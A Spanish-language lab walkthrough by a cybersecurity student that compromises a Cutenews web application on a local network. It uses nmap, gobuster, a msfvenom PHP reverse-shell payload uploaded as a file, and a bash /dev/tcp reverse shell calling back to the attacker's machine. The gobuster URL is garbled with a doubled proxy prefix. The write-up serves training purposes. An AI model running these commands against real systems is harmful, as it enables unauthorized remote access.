Pentesting Web Application: Reverse
Shell Exploitation Walkthrough
En este ejemplo práctico, se detalla cómo realizar un ataque de reverse shell contra una
aplicación web usando herramientas comunes de pentesting. Nota: Este contenido es
únicamente para fines educativos y éticos.
Paso 1: Identificar la IP de la máquina objetivo
Ejecutamos arp-scan para descubrir dispositivos en la red y, posteriormente, usamos
nmap para escanear la IP 192.168.18.121 de la máquina víctima.
nmap 192.168.18.121
Observamos que el puerto 80 está abierto. Accedemos a la dirección IP desde el
navegador y encontramos un panel de login.
Paso 2: Registro en la plataforma
Procedemos a registrarnos en el panel, ya que esto nos permitirá explorar las opciones
disponibles dentro de la web.
Paso 3: Identificar la aplicación (Cutenews)
El nombre de la aplicación, Cutenews, nos llama la atención. Llegados a este punto,
usamos Metasploit para buscar posibles vulnerabilidades relacionadas:
search cutenews
Paso 4: Subir archivos maliciosos
Navegamos hasta la opción de "Personal Options" y encontramos un lugar donde se
pueden subir archivos.
Generamos un payload malicioso con msfvenom. He de mencionar que en la imagen
sale como .exe, pero después hice bien el comando generando el .php:
msfvenom -p php/reverse_php LHOST=192.168.18.98 LPORT=443 -f raw >
pwned.php
Subimos el archivo pwned.php a la plataforma utilizando la opción de "Browse" y
seleccionamos "Save Changes".
Paso 5: Identificar la ubicación del archivo subido
Usamos gobuster para buscar directorios en la web y localizamos un directorio llamado
uploads, donde se encuentra el archivo malicioso:
gobuster dir -u http://192.168.18.121 -w /path/to/wordlist.txt
Accedemos al directorio desde el navegador y confirmamos que el archivo está
disponible.
Paso 6: Establecer la Reverse Shell
1. Configuramos netcat para escuchar en el puerto 443:
nc -nlvp 443
2. Hacemos clic en el archivo malicioso desde el navegador. Esto ejecuta el
payload y establece la conexión reversa:
La conexión inicial suele ser inestable, así que recomiendo obtener una shell más
robusta.
Paso 7: Mejorar la estabilidad de la shell
Abrimos otra terminal para escuchar en un puerto diferente, como el 4444:
nc -nlvp 4444
Desde la shell inicial en el puerto 443, ejecutamos otra reverse Shell para mejorar la
conexión (comando buscado en revshells.com):
bash -c "bash -i >& /dev/tcp/192.168.18.98/4444 0>&1"
Finalmente, en la nueva terminal que escucha en el puerto 4444, obtenemos una shell
estable y podemos cerrar la conexión inicial.
Conclusión
Este ejercicio demuestra cómo identificar vulnerabilidades en aplicaciones web,
explotar puntos de entrada y establecer una reverse shell. Es importante destacar que
este tipo de actividades deben realizarse siempre con autorización explícita y en
entornos controlados. ¡La ética es clave en el mundo del pentesting!
Este laboratorio ha sido realizado por Juanjo Ocón, Técnico Superior en Administración
de Sistemas Informáticos en Red (ASIR) y estudiante de Ciberseguridad.